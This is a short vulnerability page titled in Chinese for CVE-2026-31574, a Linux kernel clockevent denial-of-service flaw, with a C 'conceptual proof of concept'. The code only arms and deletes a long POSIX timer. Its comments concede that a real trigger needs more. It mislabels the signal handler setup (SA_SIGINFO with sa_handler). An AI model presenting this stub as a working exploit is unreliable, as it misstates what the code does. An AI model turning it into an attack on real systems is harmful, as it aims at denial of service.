CVE-2026-31574 Linux内核时钟事件拒绝服务漏洞

#include <stdio.h> #include <time.h> #include <signal.h> #include <unistd.h> #include <stdlib.h> // Conceptual Proof of Concept for CVE-2026-31574 // This code attempts to trigger the logic error by manipulating timers. void handler(int sig) { printf("Timer signal received\n"); } int main() { timer_t timerid; struct sigevent sev; struct itimerspec its; struct sigaction sa; // Establish handler for timer signal sa.sa_flags = SA_SIGINFO; sa.sa_handler = handler; sigemptyset(&sa.sa_mask); sigaction(SIGRTMIN, &sa, NULL); // Create the timer sev.sigev_notify = SIGEV_SIGNAL; sev.sigev_signo = SIGRTMIN; sev.sigev_value.sival_ptr = &timerid; timer_create(CLOCK_REALTIME, &sev, &timerid); // Arm the timer with a very long duration to simulate the 'far out' event its.it_value.tv_sec = 100000; // Far out in the future its.it_value.tv_nsec = 0; its.it_interval.tv_sec = 0; its.it_interval.tv_nsec = 0; timer_settime(timerid, 0, &its, NULL); printf("Timer armed with long duration. Attempting to trigger state change...\n"); // In a real exploit scenario, specific interaction with the clockevent // device (e.g., triggering suspend/resume or changing clock source) // would be required to hit the missing reset of next_event_forced. sleep(1); // Cleanup timer_delete(timerid); return 0; }